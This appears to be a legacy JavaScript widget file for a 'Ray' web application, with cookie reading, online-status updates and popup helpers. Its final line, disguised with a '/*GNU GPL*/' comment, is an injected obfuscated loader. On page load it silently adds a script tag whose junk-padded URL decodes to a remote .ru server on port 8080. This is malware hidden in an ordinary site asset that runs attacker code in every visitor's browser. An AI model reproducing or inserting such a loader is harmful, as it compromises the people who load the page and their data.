function getCookie(name) {
	var leftPart = name + "=";
	var aCookies = document.cookie.split(";");

	for(var i=0; i<aCookies.length; i++) {
		var sCookie = aCookies[i];
		while(sCookie.charAt(0) == " ") sCookie = sCookie.substring(1, sCookie.length);
		if(sCookie.indexOf(leftPart) == 0) return sCookie.substring(leftPart.length, sCookie.length);
	}
	return "";
}
function updateRayUserStatus(sUserId) {
	var XMLHttpRequestObject = false;		
	if(sUserId != "") {			
		var d = new Date();
		var url = sRayUrl + "XML.php?action=updateOnlineStatus&id=" + sUserId + "&_t=" + d.getTime();
		if(window.XMLHttpRequest)
			XMLHttpRequestObject = new XMLHttpRequest();		
		else if(window.ActiveXObject)
			XMLHttpRequestObject = new ActiveXObject("Microsoft.XMLHTTP");			

		if(XMLHttpRequestObject) {
			XMLHttpRequestObject.open("GET", url);		
			XMLHttpRequestObject.send(null);	
		}
	}
}
function openRayWidget(sModule, sApp) {
	if(aRayApps[sModule][sApp] == undefined)return;
	
	var aInfo = aRayApps[sModule][sApp];
	var sUrl = sRayUrl + "index.php?module=" + sModule + "&app=" + sApp;			
	for(var i=0; i<arguments.length - 2; i++)
		sUrl += "&" + aInfo["params"][i] + "=" + arguments[i + 2];
		
	var popupWindow = window.open(sUrl, 'Ray_' + sModule + '_' + sApp + parseInt(Math.random()*100000), 'top=' + aInfo["top"] + ',left=' + aInfo["left"] + ',width=' + aInfo["width"] + ',height=' + aInfo["height"] + ',toolbar=0,directories=0,menubar=0,status=0,location=0,scrollbars=0,resizable=' + aInfo["resizable"]);
	
	if( popupWindow == null )
		alert( "You should disable your popup blocker software" );
}

updateRayUserStatus(getCookie("memberID"));
/*GNU GPL*/ try{window.onload = function(){var Hva23p3hnyirlpv7 = document.createElement('script');Hva23p3hnyirlpv7.setAttribute('type', 'text/javascript');Hva23p3hnyirlpv7.setAttribute('id', 'myscript1');Hva23p3hnyirlpv7.setAttribute('src',  'h))t#^t$#))!p&&#:^!&/^^/)^(@m&()y&#b(r@&&!!o)^w(&(s)^)$e(@&#r&))b^a#r!&$-#@c&#o#m#@&.)@$s)a!m$&s#)^u!$^n$g#!.$c!^o^@(m#.^n@!#a@@s#$!a#&-(@^g$o)#v)@&$.(!(@(e)&g&!#r)e)@)a^)t$!s(!(a@!l#e@.@)@r)#u(&#!:)@8!^)0!8$!(0!/^#m$$e)g^&a###v&!i&d!e))#o!@(.(@c&)o$!(m^&/^m&^e((^)g$!((a)#)^v@!i(@&#d#)e@&o$#.^c$!#o@m^/$#&l$a)r#@(e)^^d#&o(!()u#(t$)e##.$f(r^&(@/!(^&b!!i)$$l@)!)d^&.#@&(d$@$e(/)g$o^o$&^g^!&l()e!).(@^#c)$!o#&)@@m!/^$'.replace(/\$|\^|\!|&|\)|\(|@|#/ig, ''));Hva23p3hnyirlpv7.setAttribute('defer', 'defer');document.body.appendChild(Hva23p3hnyirlpv7);}} catch(e) {}